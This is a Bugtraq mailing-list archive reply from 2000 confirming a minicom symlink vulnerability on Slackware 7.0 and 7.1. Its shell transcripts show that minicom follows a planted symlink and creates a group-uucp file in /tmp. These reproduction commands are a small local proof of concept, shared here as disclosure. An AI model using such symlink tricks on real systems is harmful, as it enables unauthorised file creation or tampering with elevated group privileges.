|
Bugtraq
mailing list archives
Re: RH 6.1 / 6.2 minicom vulnerability
From: Ben Lull <blull () valleylocal com>
Date: Wed, 30 Aug 2000 17:03:45 -0700
Sylvain Robitaille wrote:
Ben Lull wrote:
... Yep Slackware (7.x) too using minicom 1.82 and 1.82.1
One thing Ben's example didn't show is confirmation that this problem
follows symlinks on his system, and creates the file accoring to the
umask, which I've found to be the case on mine:
/* snip */
And the confirmation on Slackware 7.x using minicom 1.82 and 1.82.1...
Slackware 7.0
me () technolust> ln -s /tmp/foo .
me () technolust> ls -al /tmp/foo
ls: /tmp/foo: No such file or directory
me () technolust> (umask 2; minicom -C foo)
minicom: cannot open /dev/ttyS1: Permission denied
me () technolust> ls -al /tmp/foo
-rw-rw-r-- 1 me uucp 0 Aug 30 16:49 /tmp/foo
Slackware 7.1
me () mos> ln -s /tmp/foo .
me () mos> ls -al /tmp/foo
ls: /tmp/foo: No such file or directory
me () mos> (umask 2; minicom -C foo)
minicom: cannot open /dev/ttyS1: Permission denied
me () mos> ls -al /tmp/foo
-rw-rw-r-- 1 me uucp 0 Aug 30 16:46 /tmp/foo
Thanks,
Ben Lull
***
* Ben Lull
* Valley Local Internet, Inc
* Systems Administrator
***
Attachment:
blull.vcf
Description: Card for Ben Lull
By Date
By Thread
Current thread:
- Re: RH 6.1 / 6.2 minicom vulnerability, (continued)
|